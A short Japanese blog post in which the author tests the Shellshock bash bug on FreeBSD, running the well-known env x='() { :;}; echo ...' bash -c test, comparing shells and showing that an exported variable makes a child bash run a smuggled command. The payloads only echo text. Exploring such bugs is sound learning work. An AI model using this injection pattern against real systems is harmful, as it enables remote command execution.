これ http://seclists.org/oss-sec/2014/q3/649いろんな方がわかりやすく解説・まとめておられるので、そういうのがほしい方はそちらを読むといいと思います。ここでは遊んでみるだけですので参考にはなりませぬ。
あと、Linuxじゃないです。

### 環境について ``` $ uname -a FreeBSD test 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu Jan 16 22:34:59 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64 $ bash --version GNU bash, version 4.3.24(0)-release (amd64-portbld-freebsd10.0) Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. ```
### まずは普通にテスト ```sh [kunst@test ~]$ env x='() { :;}; echo vulnerable' bash -c "echo lovenico!" vulnerable lovenico! [kunst@test ~]$ env x='() { :;}; echo vulnerable' bash -c 'ls' vulnerable aaa [kunst@test ~]$ env x='() { :;}; echo vulnerable' echo hogehoge hogehoge [kunst@test ~]$ env x='() { :;}; echo vulnerable' ls aaa [kunst@test ~]$ env x='() { :;}; echo vulnerable' x=() { :;}; echo vulnerable HOST=test ### 以下略 ```
### ちょと待て、envコマンドについてちゃんと理解していない ``` $ man env ENV(1) FreeBSD General Commands Manual ENV(1) NAME env -- set environment and execute command, or print environment SYNOPSIS env [-iv] [-P altpath] [-S string] [-u name] [name=value ...] [utility [argument ...]] DESCRIPTION The env utility executes another utility after modifying the environment as specified on the command line. Each name=value option specifies the setting of an environment variable, name, with a value of value. All such environment variables are set before the utility is executed. ```以下略
envコマンドは環境変数を書き換えてからコマンドを実行するコマンド。
### もう一度確認してみよう ```sh [kunst@test ~]$ echo $SHELL /usr/local/bin/bash [kunst@test ~]$ env x='() { :;}; echo aho' bash -c "echo" aho [kunst@test ~]$ env x='() { :;}; echo aho' sh -c "echo" [kunst@test ~]$ env x='() { :;}; echo aho' csh -c "echo" [kunst@test ~]$ env x='() { :;}; echo aho' tcsh -c "echo" ``````sh $ echo $SHELL /bin/tcsh $ env x='() { :;}; echo aho' bash -c "echo" aho $ env x='() { :;}; echo aho' sh -c "echo" $ env x='() { :;}; echo aho' csh -c "echo" $ env x='() { :;}; echo aho' tcsh -c "echo" ```なるほど、つまりこういうことね ```sh $ echo "x='() { :;}; echo aho'">>.bashrc $ bash [kunst@test ~]$ [kunst@test ~]$ echo $x () { :;}; echo aho ```・・・・・・ありゃ??? ```sh $ echo "export x='() { :;}; echo aho'" > .bashrc $ bash [kunst@test ~]$ bash aho ```おお、なるほど、うむ。
### つまり 「関数定義とコマンドが並べて書かれた環境変数を保持したbashからbashを呼び出すとコマンドが実行される」っていう現象なんですねぇ。